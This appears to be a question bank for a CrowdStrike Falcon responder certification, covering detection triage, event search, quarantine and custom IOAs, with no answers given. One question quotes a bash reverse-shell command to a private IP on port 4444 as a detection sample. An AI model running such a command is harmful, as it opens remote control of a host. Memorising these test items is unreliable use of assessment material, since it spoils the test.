An executive asks for a definition of ' CrowdScore ' . Which of the following sentences best describes what CrowdScore is?
The Activity Dashboard is a core feature for security teams. What is the primary purpose of this dashboard?
After pivoting to an event search from a detection, you locate the ProcessRollup2 event. Which two field values are you required to obtain to perform a Process Timeline search so you can determine what the process was doing?
When an analyst downloads a quarantined file from the Falcon UI for offline analysis, what is the specific file format and the required password for extraction?
Analyze the following process lineage observed during a detection triage on a Windows 10 workstation:
root > smss.exe > winlogon.exe > userinit.exe > explorer.exe > windows_media_player_y35s21-4ak.exe.
Based on the fact that the suspicious process originated from the user ' s desktop shell environment (explorer.exe), what is the most likely entry vector for this attack?
In various telemetry events like ' FileWrite ' or ' NetworkConnect ' , Falcon identifies the process that performed the action. Which field will always identify this " acting " process?
Which of the following sentences best describes the primary use of ' Retrospective Analysis ' ?
A responder decides to set a specific Custom IOA to the ' Monitor ' action. Which of the following sentences best describes the technical result of this choice?
An adversary is attempting to disable security features by modifying the system registry. Which of the following native Windows processes is specifically designed to create, modify, and delete Registry keys via the command line?
When examining a raw DNS request event, you see a field called ContextProcessld_decimal. What is the purpose of that field?
How are processes on the same plane ordered (bottom ' VMTOOLSD.EXE ' to top CMD.EXE ' )?
When reviewing CrowdScore Incidents, which of the following statements is INCORRECT?
Falcon uses specific identifiers to track processes across the environment. Which of the following sentences best describes what the ' TargetProcessId_decimal ' raw data represents?
Administrators can define their own criteria for alerts. Which of the following is an example of a custom detection within the Falcon platform?
The Falcon sensor can automatically upload quarantined files to the CrowdStrike Cloud for further analysis. What is the maximum size allowed for a quarantined file to be uploaded?
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?
From the Detections page, how can you view ' in-progress ' detections assigned to Falcon Analyst Alex?
The Process Activity View provides a rows-and-columns style view of the events generated in a detection. Why might this be helpful?
An analyst needs to perform local sandbox analysis on a malicious file. When they download a quarantined file from the Falcon UI, what is the file format and the default password?
You are tasked with remediating adware for a host using a custom script via Real Time Response (RTR). When running the script, you get an error that the script is timing out.
How can you resolve this issue?
You are reviewing the raw data in an event search from a detection tree. You find a FileOpenlnfo event and want to find out if any other files were opened by the responsible process. Which two field values do you need from this event to perform a Process Timeline search?
After running an Event Search, you can select many Event Actions depending on your results. Which of the following is NOT an option for any Event Action?
By default, when a file is quarantined by the Falcon sensor to prevent execution, how many days does that file remain on the host ' s local disk?
Multiple detections with the process schtasks.exe begin to alert in the UI. The process executes the following command line on several unique hosts:
schtasks.exe /Query /TN " Qljsscdqr "
What is the most efficient way to identify which hosts are executing this scheduled task?
When an analyst is trying to pinpoint the exact moment an endpoint came online after being shut down for the weekend, which timeline view is the best to use?
Refer to the image.
You are using Advanced Event Search to find the event record for a suspicious network connection.
Using the Event List Interactions button for the event, indicated by the arrow in the image above, which option will show all contextual event data around the process execution being investigated?
When you configure and apply an IOA exclusion, what impact does it have on the host and what you see in the console?
You are responding to a cybersecurity incident and observe several outbound network connections from host Bob-Desktop. Upon review, you determine this to be a result of a Threat Actor ' s attempt to exfiltrate data.
What action should you take to stop the exfiltration using the Falcon Platform?
You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?
When navigating the ' Custom IOA ' creation wizard, a user must select a rule type. Which of the following is NOT a valid IOA rule type available for selection?
To track the relationship between a parent and its child, Falcon uses specific ID fields. What raw data is used as the ' ParentProcessId_decimal ' when a process spawns a child process?
An analyst wants to see the raw events behind a specific detection. Which icon in the UI allows them to pivot directly to an event search?
To understand how a threat moved on a system, a responder must know the role of common processes. Which of the following statements best describes the standard functionality of explorer.exe?
Which of the following statements about the ' Hash Search ' (Single Search) is TRUE?
A responder needs to view a high-level overview of the environment ' s security posture. Where can they find the ' Activity Dashboard ' ?
Data retention is a key factor in retrospective hunting. How long will " Detection Related Events " be retained in the Falcon environment?
In the " Full Detection Details " , which view will provide an exportable text listing of events like DNS requests. Registry Operations, and Network Operations?
Following a detection involving a suspected ransomware binary, the Falcon sensor automatically takes a prevention action to prevent the file from executing. An analyst needs to retrieve this file for local sandbox analysis. Considering the default configuration, for how many days will this file remain stored in the encrypted quarantine folder on the local endpoint?
While reviewing the ' Detection Method ' field for a high-severity alert, a responder sees the label ' Post-Exploit ' . This terminology is used by CrowdStrike to identify a specific:
When reviewing open detections, what method should be used to identify the most relevant related information in the environment?
When performing a ' Hash Search ' , which of the following is NOT a filter available for use?
The MITRE-Based Falcon Detections Framework is a core component of the Falcon UI. What is the primary operational advantage provided by this framework to a Tier 1 responder?
In the context of raw event searching, the term ' ProcessRollup2 ' refers to a value within which field?
While quarantined files stay on the local host for 30 days by default, how many days does a quarantined file remain stored in the CrowdStrike Cloud?
CrowdStrike provides ' Overwatch Best Practices ' for triaging alerts. According to these guidelines, what is the next step a responder should take immediately after the ' Understand the detection ' step?
Responders must understand the limitations and capabilities of custom rules. Which of the following statements about custom IOAs is FALSE?
CCFR |
TESTED 29 Jul 2026
